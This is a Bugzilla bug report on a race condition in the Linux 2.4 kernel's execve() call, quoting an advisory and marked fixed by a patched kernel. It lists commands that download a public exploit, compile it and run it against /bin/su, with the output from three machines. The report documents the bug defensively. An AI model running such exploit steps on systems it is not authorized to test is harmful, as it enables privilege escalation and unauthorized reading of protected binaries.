Bugzilla Bug 23788

Quote from http://www.securityfocus.com/bid/8042/discussion/
----------------
A race condition vulnerability has been discovered in the Linux execve() system call, affecting the 2.4 kernel tree. The problem lies in the atomicity of placing a target executables file descriptor within the current process descriptor and executing the file.

An attacker could potentially exploit this vulnerability to gain read access to a setuid binary that would otherwise be unreadable. Although unconfirmed, it may also be possible for an attacker to write code to a target executable, making it theoretically possible to execute arbitrary code with elevated privileges.
----------------
exploit: http://www.securityfocus.com/data/vulnerabilities/exploits/suiddmp.c

I have tested the exploit in 3 different machines, but only 1 was vulnerable. I think the reason is two of them have grsecurity enabled, and the other doesn't.


Reproducible: Always
Steps to Reproduce:

1. wget http://www.securityfocus.com/data/vulnerabilities/exploits/suiddmp.c
2. cc -o suiddmp suiddmp.c
3. ./suiddmp /bin/su

Actual Results:  
Output from the one without gresecurity:
----------------
lamb@alunos lamb $ ./suiddmp /bin/su

Parent running pid 7341

Child running pid 7342Parent stat loop
Parent success stating:
uid 0 gid 0 mode 104755 inode 609245 size 23324
lamb@alunos lamb $ Password: 

su: Authentication failure
Sorry.
----------------

and the other two with grsecurity enabled:
----------------pt_lamb@mestserv01 pt_lamb $ ./suiddmp /bin/su

Parent running pid 10192
Parent stat loop
Child running pid 7777
opened wrong file!: Bad file descriptor

pt_lamb@mestserv01 pt_lamb $ Password: 

su: Authentication failure
Sorry.
----------------

patches in gentoo-sources-2.4.20-r6 

changing resolution to FIXED